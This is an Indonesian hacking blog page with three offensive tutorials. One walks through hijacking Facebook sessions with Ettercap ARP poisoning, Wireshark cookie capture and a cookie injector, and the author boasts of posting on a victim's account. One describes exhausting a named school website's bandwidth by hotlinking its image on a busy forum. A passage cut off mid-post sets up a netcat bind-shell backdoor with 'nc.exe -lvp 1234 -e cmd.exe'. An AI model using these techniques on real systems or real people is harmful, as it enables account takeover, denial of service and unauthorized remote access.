Pevita

Hack login dengan menggunakan cookies

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTumZ1UIXM7hNcNooYA0giHWdEHG86wIEiHk7mY4j_k4mf459dJ" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTumZ1UIXM7hNcNooYA0giHWdEHG86wIEiHk7mY4j_k4mf459dJ" /></a></div>Ettercap memang selalu menjadi tools yang paling ampuh untuk aksi  seorang peretas saat ini, bagaimana jika aksi MITM yg satu ini kita  kombinasikan dengan Wireshark dan Cookies Injector...???<br /><br />Kali ini serangan yg kita tujukan ialah mereka yg sedang mengakses akun Facebook.<br />mengapa Facebook..???<br />saya mengambil judul Facebook agar bisa menjawab pertanyaan anda yg  mungkin sampai saat ini belum berhasil mencuri account facebook krn  terbentur saat mengatur susunan cookies yg menurut saya susah-susah  gampang lah.<br />Tapi tenang saja, pada tulisan saya kali ini saya akan membuatnya lebih  rinci dan mudah untuk kalian ingat, mengingat kalian tidak perlu  menyusun cookies yang hanya bisa membuat kepala kalian pusing.<br /><br /><span style="color: red;"><span style="font-weight: bold;">Equipment :</span></span><br /><span style="font-weight: bold;">Ettercap</span> = melakukan serangan "Man-in-the-middle attack" Arp Poisoning<br /><span style="font-weight: bold;">Wireshark</span> =  melakukan Analys Troubleshooting di sebuah jaringan.<br /><span style="font-weight: bold;">GreaseMonkey</span> (addons mozilla) = Menyusun halaman web dengan menggunakan potongan-potongan kecil JavaScript.<br /><span style="font-weight: bold;">Cookies Injector</span> = Menyuntikkan string cookie yang ditangkap di paket Wireshark. <br /><br /><span style="color: red;">[Addons mozilla firefox]</span><br />Add and download lalu Install -->  <a href="https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/" target="_blank">greasemonkey</a> & <a href="http://userscripts.org/scripts/show/119798" target="_blank">cookie-injection</a><br /><br /><div style="color: red;">greasemonkey</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJf4_XHZJufN_SqW65NF5Wxkz_3qCGB_xnLxEp1vzdrOOhqo9bbBzlB5XRyyF3jDvJBQecnM-hQfwhMhDD07RVANdnGHI3MPekGbdKFaIGR1na164DJgnhDUOMIED1FdgOMrAgHBVrX4Q/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJf4_XHZJufN_SqW65NF5Wxkz_3qCGB_xnLxEp1vzdrOOhqo9bbBzlB5XRyyF3jDvJBQecnM-hQfwhMhDD07RVANdnGHI3MPekGbdKFaIGR1na164DJgnhDUOMIED1FdgOMrAgHBVrX4Q/s1600/Capture.PNG" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><br /><span style="color: red;"><span style="font-weight: bold;">Cookies Injector</span></span><br /><br /><div class="separator" style="clear: both; text-align: center;"></div><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqTOijBeESdHS49aQ5Ma4CgX2c_DjNxUpnF2BUJ5MJv_wXUJ4WpcnKGEp5XsTLPkn6dOIB9lm24rcutLzJ3tLtBn9okMXwKVDr3r__O3HcsZUQ93JXI32DuRge2xo67tI9YcRx1744Kk0/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqTOijBeESdHS49aQ5Ma4CgX2c_DjNxUpnF2BUJ5MJv_wXUJ4WpcnKGEp5XsTLPkn6dOIB9lm24rcutLzJ3tLtBn9okMXwKVDr3r__O3HcsZUQ93JXI32DuRge2xo67tI9YcRx1744Kk0/s1600/Capture.PNG" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: left;"> pertama buka ettercap pada terminal dengan megetikkan</div><blockquote class="tr_bq"><div class="separator" style="clear: both; text-align: left;">ettercap -G</div></blockquote><br /><div class="separator" style="clear: both; text-align: center;"></div><br /><div class="separator" style="clear: both; text-align: center;"></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9TOthtBeRvNkKSLp4Uj17PuwqodyiADI8frrDNjmLR3SdZSV5GA0mMb6qkBd6UoR2T7U9o4EMUHMShWUtlQ2LmaeM5dp4_85VxQDwfPOg5J9fvUFOfkdcwtfT0tdhxnwajOeBp9ilpok/s1600/Selection_012.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9TOthtBeRvNkKSLp4Uj17PuwqodyiADI8frrDNjmLR3SdZSV5GA0mMb6qkBd6UoR2T7U9o4EMUHMShWUtlQ2LmaeM5dp4_85VxQDwfPOg5J9fvUFOfkdcwtfT0tdhxnwajOeBp9ilpok/s1600/Selection_012.png" /></a></div><br /><br /><br />Maka akan muncul Ettercapnya.<br />Kemudian klik <span style="color: red; font-weight: bold;">Tab Sniff</span><span style="color: red;"> </span>=><span style="color: red;"> </span><span style="color: red; font-weight: bold;">Unified Sniffing </span><br />seterusnya pada kolom <span style="color: red; font-weight: bold;">Network Interface</span> = Masukan Interface yg kalian gunakan, disini saya memakai <span style="font-weight: bold;">Wlan0 </span><br /><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8bctmNd5ttcY9lj4fDf3xJmSx-p5MG1DnOhiOHJeSv_kpwLpOW3jYJ3T9eQiHYgbM7gxybOs9QhIC4ik7b95WA5V9iOPRjuchKjFs77Ndu4swdqgXC5bcPtbtZbw3WteKUvKDzrripnA/s1600/Selection_001.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8bctmNd5ttcY9lj4fDf3xJmSx-p5MG1DnOhiOHJeSv_kpwLpOW3jYJ3T9eQiHYgbM7gxybOs9QhIC4ik7b95WA5V9iOPRjuchKjFs77Ndu4swdqgXC5bcPtbtZbw3WteKUvKDzrripnA/s1600/Selection_001.png" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><br /><br /><br />kemudian lakukan tahap scanning untuk melihat IP Address yg terhubung dalam jaringan.<br />klik Tab <span style="color: red; font-weight: bold;">HOSTS</span><span style="color: red;"> </span>dan pilih <span style="color: red; font-weight: bold;">Scann For Hosts</span> dan tunggu hingga selesai.<br />kemudian klik Tab <span style="color: red; font-weight: bold;">HOSTS</span><span style="color: red;"> </span>dan pilih <span style="color: red; font-weight: bold;">Hosts List</span><span style="color: red;"> </span>untuk melihat host yg lagi terkoneksi<br /><span style="font-weight: bold;"> </span><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhskGvjjIP-TAbJISGdVgmCzwccFXe4mc4TGQcdB-cRCQV4_T7oKzfhajbB0BWvM9eFmCDGISX4baPl6i5NoBNoTX9KfZq7kw-0YbVOQDpQOAPVgZmiZ5r7xZB1uKG4huvg76MEVVasELY/s1600/Selection_003.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhskGvjjIP-TAbJISGdVgmCzwccFXe4mc4TGQcdB-cRCQV4_T7oKzfhajbB0BWvM9eFmCDGISX4baPl6i5NoBNoTX9KfZq7kw-0YbVOQDpQOAPVgZmiZ5r7xZB1uKG4huvg76MEVVasELY/s1600/Selection_003.png" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><span style="font-weight: bold;"> </span><br /><br /><br /><div class="separator" style="clear: both; text-align: left;">OK. Selanjutnya kita memilih IP korban. </div><br />Pada Hosts List diatas  saya memilih :<br />Gateway = <span style="color: yellow; font-weight: bold;">192.168.1.1</span> Add to Target 1, dan <br />IP <span style="color: yellow; font-weight: bold;">192.168.1.10</span> Add to Target 2<br /><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHbFBbKMRd8yTCg4PMFA7WKKU87pqhAMy3XYT802F6wKYD-fEJcAJ_W1tyYPXDNZ1MpLkTUJCkPkJG4rclhgFAUvUJD6EwQLpcpqNVPoJh51XS2yt_QJ4fxIFYDemYl7OHPmfGrBoaUjQ/s1600/Selection_005.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHbFBbKMRd8yTCg4PMFA7WKKU87pqhAMy3XYT802F6wKYD-fEJcAJ_W1tyYPXDNZ1MpLkTUJCkPkJG4rclhgFAUvUJD6EwQLpcpqNVPoJh51XS2yt_QJ4fxIFYDemYl7OHPmfGrBoaUjQ/s1600/Selection_005.png" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Q : Bagaimana jika Target lebih dari satu ???</div>A : Simple, saya beri contoh seperti ini : <br />misalkan ada 4 Hosts list, yaitu :<br /><div class="separator" style="clear: both; text-align: left;"><br /></div><blockquote class="tr_bq"><div class="separator" style="clear: both; text-align: left;"><code>192.168.1.1 (Gateway)<br />192.168.1.2 (Ip korban)<br />192.168.1.4 (Ip korban)<br />192.168.1.8 (Ip korban)<br />caranya adalah :<br />saya masukkan gateway 192.168.1.1 Add to Target 1, <br />dan masukan IP korban 192.168.1.2  Add to Target 2, <br />kemudian ulangi masukkan gateway 192.168.1.1 Add to Target 1, <br />dan masukan IP korban 192.168.1.3 / 192.168.1.4 Add to Target 2<br /><br />begitu seterusnya :)</code> </div></blockquote><br />oke saya anggap tidak ada masalah dan kita lanjut ke tahap berikutnya =))<br /><br />Klik Tab <span style="color: red; font-weight: bold;">MITM</span><span style="color: red;"> </span>=> <span style="color: red; font-weight: bold;">Arp Poisoning</span> kemudian beri cek list <span style="color: red; font-weight: bold;">Sniff Remote Connections</span> . klik OK<br /><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8GQNj5gxKBgoleKvC1H6mes4B-uyMn8GmeJdp8LyLDrJ1oj4MdcOLmkZO9IF5OrArKv45kX_6jTkdYB8ouTUN1GGGmeJwGIuC5ZQgsizF2L0eSYSW0KlE3yZVS1wH3il7hCufkUAIs10/s1600/Selection_004.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8GQNj5gxKBgoleKvC1H6mes4B-uyMn8GmeJdp8LyLDrJ1oj4MdcOLmkZO9IF5OrArKv45kX_6jTkdYB8ouTUN1GGGmeJwGIuC5ZQgsizF2L0eSYSW0KlE3yZVS1wH3il7hCufkUAIs10/s1600/Selection_004.png" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><br /><br />selanjutnya untuk menjalankan Sniffing, Klik Tab <span style="color: red; font-weight: bold;">START</span><span style="color: red;"> </span>dan Pilih <span style="color: lime; font-weight: bold;">Start Sniffing</span><span style="color: lime;">.</span><br /><br /><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjD1Utp2-ClEjCryhG-TxsyoA7Gc5fZ5MyzmCZM6zz3yypYbHsCcLbiYtQ8qxHBkj7g410kIY4pVxL63wPRkQqDczvx78PpjOs14btRqar3V13JQXqs8Ih5ZwKw-J3TvZHqjY9qhAvpWrU/s1600/Selection_007.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjD1Utp2-ClEjCryhG-TxsyoA7Gc5fZ5MyzmCZM6zz3yypYbHsCcLbiYtQ8qxHBkj7g410kIY4pVxL63wPRkQqDczvx78PpjOs14btRqar3V13JQXqs8Ih5ZwKw-J3TvZHqjY9qhAvpWrU/s1600/Selection_007.png" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><br /><br />lalu setelah selesai sniffing sekarang waktunya buka wireshark<br />di terminal ketikkan<br /><br /><blockquote class="tr_bq">wireshark</blockquote><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-B8gbMSZSQOfJHQ3uSFkmExdMSj2mVzTeSKuAkolVhDH0UyiOR_CexOpm7ISF10x0JP0RuTjBoje0epeNUr8AhbXAGBSP0dSTA34PqpgnFwJPBcKZ8d98u5nsIqpqFWdV4yjepo7wJIM/s1600/Selection_013.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-B8gbMSZSQOfJHQ3uSFkmExdMSj2mVzTeSKuAkolVhDH0UyiOR_CexOpm7ISF10x0JP0RuTjBoje0epeNUr8AhbXAGBSP0dSTA34PqpgnFwJPBcKZ8d98u5nsIqpqFWdV4yjepo7wJIM/s1600/Selection_013.png" /></a></div><br /><br />maka akan muncul Wireshark-nya.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiY0mY3C5CJvSsJzb0J3FY4T27EuGPSvm_3DXcF13tEAwkIwUOdP4WGCENN5KtNSirm3svgcg8AFiGWNWIrp9C_oauxkrrmG-JBzJMtMXrCw2qXMdp4rIz0X4SW0gKmh9BnX68eLZmbIhY/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiY0mY3C5CJvSsJzb0J3FY4T27EuGPSvm_3DXcF13tEAwkIwUOdP4WGCENN5KtNSirm3svgcg8AFiGWNWIrp9C_oauxkrrmG-JBzJMtMXrCw2qXMdp4rIz0X4SW0gKmh9BnX68eLZmbIhY/s1600/Capture.PNG" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><br />selanjutnya ubah settingan dengan menekan <span style="font-weight: bold;">Ctrl+K</span> atau <span style="font-weight: bold;">Capture </span>==> <span style="font-weight: bold;">Capture Options</span><br /><span style="font-weight: bold;"> dan pilih interface kalian</span><br /><br /><span style="font-weight: bold;"> </span> kemudian Beri cheklist pada bagian<br />- enable network name resolution<br /><br /><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQp9ALHRN9oG7YLuXH5fqNGIhKGbY1OEjYHVAbTBjXOtEUF8AYCXwPOi2IeZPl0c7bmXz9Y91I-X92Tfcg_kEK1G-nw8pvrRWmwQOxzoXu1g8JeIGgMUXoAr8uZWLhGJYSvI6wgcxBzak/s1600/Selection_009.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQp9ALHRN9oG7YLuXH5fqNGIhKGbY1OEjYHVAbTBjXOtEUF8AYCXwPOi2IeZPl0c7bmXz9Y91I-X92Tfcg_kEK1G-nw8pvrRWmwQOxzoXu1g8JeIGgMUXoAr8uZWLhGJYSvI6wgcxBzak/s1600/Selection_009.png" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><br /><br /><br />kemudian klik start.<br /><br />next, ketik <span style="font-weight: bold;">http.cookies</span> pada colom <span style="font-weight: bold;">Filter</span> (ENTER)<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMgBfXplHocwk6J7m9RvkN6h9DXOdjWMa1d4sRJ92OopwVnBQE6nw8g0B-0bN2WPsksQlLI1hgV6QgE9jS8kcxbyh7AJsnBsOMX4W88pUcM96BVl0T0wuX2pchMBJhlsn2XQEf4jsqkpM/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMgBfXplHocwk6J7m9RvkN6h9DXOdjWMa1d4sRJ92OopwVnBQE6nw8g0B-0bN2WPsksQlLI1hgV6QgE9jS8kcxbyh7AJsnBsOMX4W88pUcM96BVl0T0wuX2pchMBJhlsn2XQEf4jsqkpM/s1600/Capture.PNG" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><br /><br />tunggu hingga muncul target yang mengakses facebook.<br /><br /><span style="color: red;"><span style="font-weight: bold;">NOTE </span></span>:  ada banyak warna bermunculunan untuk capture yg terekam namun tidak  semua bisa menerima upaya agar kita dapat mengakses facebook melalui  cookienya. pilih Capture facebook yang berwarna hitam agar cookie  bekerja dengan semestinya :)<br /><br />oke, selanjutnya tentukan target kemudian klik kanan ==>> <span style="font-weight: bold;">Copy</span> ==>> <span style="font-weight: bold;">Bytes</span> ==>> <span style="font-weight: bold;">Printable Text Only</span><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBonHWXyoI6XhGw8X-uS_O8xA6Zu4kRVkXnupPT-6JvQ_9FEYaqs5XhSS-ABVJuTtmodE5mw9IgYpb9tqEmBP32bJmQFxxeRBgv6CqdSshLHMJ0AMw04lVFtb1kvp_GjadRT4vi3ukwus/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBonHWXyoI6XhGw8X-uS_O8xA6Zu4kRVkXnupPT-6JvQ_9FEYaqs5XhSS-ABVJuTtmodE5mw9IgYpb9tqEmBP32bJmQFxxeRBgv6CqdSshLHMJ0AMw04lVFtb1kvp_GjadRT4vi3ukwus/s1600/Capture.PNG" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><br />  maka kita mendapatkan cookies korban.<br /><br />selanjutnya buka browser Mozilla-Firefox kalian dan langsung mengakses <a href="http://www.facebook.com/" target="_blank">http://www.facebook.com</a>.<br />kemudian tekan tombol <span style="font-weight: bold;">Alt+C</span>  untuk menjalankan Cookies Injector. maka akan muncul kolom Wireshark  Cookie Dump dan kemudian pastekan cookies yg sudah kita ambil lalu klik <span style="font-weight: bold;">OK</span>.<br /><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiYsXqnJZYyEaGZF5-MKWsrxaN5QnMlkaHtYhuqxE-NfOQDsbHmymFkZFssW_G0cqrE9r4zoRXNyyvi3CJT-cCtOBPfdmh10CHZxiENuz-k1Iqpy175q22_lRCrnYHsN13FunUPQlOMA4/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiYsXqnJZYyEaGZF5-MKWsrxaN5QnMlkaHtYhuqxE-NfOQDsbHmymFkZFssW_G0cqrE9r4zoRXNyyvi3CJT-cCtOBPfdmh10CHZxiENuz-k1Iqpy175q22_lRCrnYHsN13FunUPQlOMA4/s1600/Capture.PNG" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><br /><br /><br />Tahap akhir lakukan <span style="font-size: large;"><span style="color: red;">refresh </span></span>pada halaman facebook. makan akan membawa kita ke page home facebook si korban.<br /><br /><br /><div class="separator" style="clear: both; text-align: center;"></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioBxt8Ni8oWyWcnQ2WVMHZRTgTJthsRstG3g6vOW7PumaBPwbpsawOG-TODI78ExhhtbGoPZT6z3-EhfV-6nEsyRC_kWrcDnDH_sI85kZBpHQH5OKceE3b2w1EHgoG904YC-7Lz1KzCZI/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioBxt8Ni8oWyWcnQ2WVMHZRTgTJthsRstG3g6vOW7PumaBPwbpsawOG-TODI78ExhhtbGoPZT6z3-EhfV-6nEsyRC_kWrcDnDH_sI85kZBpHQH5OKceE3b2w1EHgoG904YC-7Lz1KzCZI/s1600/Capture.PNG" /></a></div><br /><br /><br /><span style="font-weight: bold;">SUCCESS...!!!</span><br /><br /><br /><code>=)) dan saya hanya meninggalkan kenang-kenangan di facebook korban dengan mengupdate status =))</code><span style="font-weight: bold;"> </span></div>

Hack login dengan menggunakan cookies

Ettercap memang selalu menjadi tools yang paling ampuh untuk aksi seorang peretas saat ini, bagaimana jika aksi MITM yg satu ini kita komb...

DDOS tanpa tool

PS 0 HACKING & CRACKING, tutorial 6:21 AM

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4Q6506TyL3lRJBTatDF8X7rqHJMBakHLxgYOKDgfjzNCpRgSpyL3vG_bxxrvwRjRyQm-K90pLx4aafhcPGIaorLFBaPJ4IUfBEFS2HUUIG5TV8bQ8Zq6cfRm7XGbXx1oqPYJHnqhNzPB1/s1600/DDOS.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4Q6506TyL3lRJBTatDF8X7rqHJMBakHLxgYOKDgfjzNCpRgSpyL3vG_bxxrvwRjRyQm-K90pLx4aafhcPGIaorLFBaPJ4IUfBEFS2HUUIG5TV8bQ8Zq6cfRm7XGbXx1oqPYJHnqhNzPB1/s1600/DDOS.jpg" /></a></div>DDOS apaan?<br /><br />artikel lengkapnya ada disini:<br /><br /><a href="http://www.google.co.id/search?q=ddos&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a" target="_blank">http://www.google.co.id/search?q=ddos&ie...=firefox-a</a><br /><br /><img alt="Ngakak" border="0" src="http://hacker-newbie.org/images/kucink/ngakak.gif" style="vertical-align: middle;" title="Ngakak" /><br /><br />biasanya, ddos dilakukan dengan menggunakan bot2 ddoser yang banyak dan  mematikan. but, kali ini kita tidak menggunakan bot sebagai media,  tetapi menggunakan manusia sebagai senjata ddoser kita.<br /><br />ddos kali ini, sedikit berbeda. yang akan kita lakukan adalah mematikan website dengan menghabiskan bandwidthnya. Caranya?<br /><br />Suatu website akan cepat habis bandwitdth nya bila website tersebut di  load sangat sering. ntah itu secara langsung (dengan membuka web itu)  ataupun secara tidak langsung (mengambil gambar/file dari web itu melalu  web lain).<br /><br />nah, itulah konsep kita. bingung? langsung aja ya<br /><br />http://smam1nganjuk.sch.id/ <<< sasaran<br /><br />karena rentan terhadap denial of service<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrPKarKkd9YlRl6x_Wiy9Qib-oFzCsPcY5BcPaslIQeABDakRtDeEdHHz8ISXevZnRbM3mxcixN11be-p5qXdUAB3DoHm4prleN_H84f0EvAtfR5KRsTpYKimJZ2WImBK6VAhWhJc9tVA/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrPKarKkd9YlRl6x_Wiy9Qib-oFzCsPcY5BcPaslIQeABDakRtDeEdHHz8ISXevZnRbM3mxcixN11be-p5qXdUAB3DoHm4prleN_H84f0EvAtfR5KRsTpYKimJZ2WImBK6VAhWhJc9tVA/s1600/Capture.PNG" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><br />sasaran ini, mempunya header image yang bagus. yang perlu kita lakukan adalah ngeload img tersebut dari site lain.terutama site yang besar, misal forum2 besar kelas dunia seperti<a href="http://www.kaskus.co.id/" target="_blank"> kaskus.com</a><br />caranya klik kanan header web tersebut lalu <span style="color: red;">copy image location</span><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQvzsj6Pp0A1ukxI3uhgcvULtEkQimQD9X8fc4s6o_LseX3xHfu6y7ZPlxS07RbWrEiy6AXpFqYCt6tCOZcP4zolums7MLbBuSqHlsrQxmKZlwIcwAqTOsLc85NdSahNUbfV-p98QGLPg/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQvzsj6Pp0A1ukxI3uhgcvULtEkQimQD9X8fc4s6o_LseX3xHfu6y7ZPlxS07RbWrEiy6AXpFqYCt6tCOZcP4zolums7MLbBuSqHlsrQxmKZlwIcwAqTOsLc85NdSahNUbfV-p98QGLPg/s1600/Capture.PNG" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><br /><br />dan buat treadh baru dengan judul dan isi yang menarik perhatian. nah letakan gambar dari site sasaran di tread ini.<br /><br />dan pastekan gambar yang telah di copy tadi pada treads<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiR1MxZpR5pYKv_CppK137qe5Nus1zaXh2XIfMaHPpEa5cf73YDbYonE8laQ4KxE_TXUaPGexH247vlBYfa6zZEGSK1-8SEmIB7imYfediMDZ7kwzAw92Wyrjfud-1yXMD0WmBalWQXHsk/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiR1MxZpR5pYKv_CppK137qe5Nus1zaXh2XIfMaHPpEa5cf73YDbYonE8laQ4KxE_TXUaPGexH247vlBYfa6zZEGSK1-8SEmIB7imYfediMDZ7kwzAw92Wyrjfud-1yXMD0WmBalWQXHsk/s1600/Capture.PNG" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><br /><br /><br /> forum besar, di kunjungi ribuan orang tiap harinya. nah jika orang2  tersebut membaca tread kita, maka orang tersebut membantu kita untuk  load image dari site sasaran. Hal ini berarti membantu mempercepat  habisnya bandwidth sasaran. Semakin banyak yang buka, semakin cepat  habis, semakin cepat pula sasaran down karena kebahisan bandwidth.<br /><br />teknik ini secara tidak sengaja q temukan karena iseng. dan site sasaran gak sampai 3 hari down.huehuehue <img alt="Ngakak" border="0" src="http://hacker-newbie.org/images/kucink/ngakak.gif" style="vertical-align: middle;" title="Ngakak" /><br /><br /><br /></div>

DDOS tanpa tool

DDOS apaan? artikel lengkapnya ada disini: http://www.google.co.id/search?q=ddos&ie...=firefox-a biasanya, ddos dilakukan dengan menggun...

Mengconnectkan netcat sebagai backdoor

PS 0 HACKING & CRACKING 1:17 AM

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcQIMFH0n7x0sc4FeE8o2xSaU2L-fqE16jJqpJM4ui4RuDyM0EvQhw" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcQIMFH0n7x0sc4FeE8o2xSaU2L-fqE16jJqpJM4ui4RuDyM0EvQhw" /></a></div><br /><span style="font-size: 130%;"><span style="font-style: italic; font-weight: bold;">Backdoor</span> seringkali digunakan untuk masuk ke dalam sistem tanpa sepengetahuan  administrator, namun hal tersebut bisa dilakukan jika penyusup pernah  masuk kedalam sistem tersebut dengan hak akses root.<br /><br />Pemberian backdoor ini dilakukan untuk mempermudah mereka memasuki sistem tersebut jika jalan yang telah dibuat dengan <span style="font-style: italic; font-weight: bold;">eksploit</span> telah ditutup oleh administrator.<br /><br />Jadi,  tujuan dari backdoor bukan untuk mendapatkan previlege root, tetapi  untuk mendapatkan kembali previlege yang pernah diperoleh.</span><br /><span style="font-size: 130%;">jadi initinya kita tidak bisa masuk lewat pintu system jalan satu satunya adalah lewat pintu belakang</span><br /><span style="font-size: 130%;"><br /></span><span style="font-size: 130%;">ok langsung saja disini kita menggunakan netcat bukan netcut yaa . . .</span><br /><span style="font-size: 130%;"><br /></span><span style="font-size: 130%;">percobaan ini menggunakan 2 pc</span><br /><br /><span style="font-size: 130%;">1.windows</span><br /><span style="font-size: 130%;">2.linux ( backtrack )</span><br /><span style="font-size: 130%;"><br /></span><span style="font-size: 130%;">kalo yang belum punya netcat bisa download di<a href="http://www.mediafire.com/?2l8cqoqcs9f7doj" target="_blank"> http://www.mediafire.com/?2l8cqoqcs9f7doj</a> untuk windows ekstrak dulu nc.exe dan taruh di directory C:</span><br /><span style="font-size: 130%;"><br /></span><span style="font-size: 130%;">dan linux backtrack sudah tersedia nc.exe nya</span><br /><span style="font-size: 130%;"><br /></span><span style="font-size: 130%;">1. kita akan mencoba menjadikan windows menjadi listen/server (pendengar)</span><br />disini ip address windows ( <span style="color: red;">server</span> 192.168.1.15)<br /><span style="font-size: 130%;">buka cmd dan masuk directory C: </span><br /><span style="font-size: 130%;">lalu ketikkan perintah </span><br /><br /><blockquote class="tr_bq"><span style="font-size: 130%;">nc.exe -lvp 1234 -e cmd.exe</span></blockquote>1234 = port yang kita buka untuk listener<br />-e xxx = adalah program yang akan di akses jika connect ke server<br /><br /><div class="separator" style="clear: both; text-align: center;"><a 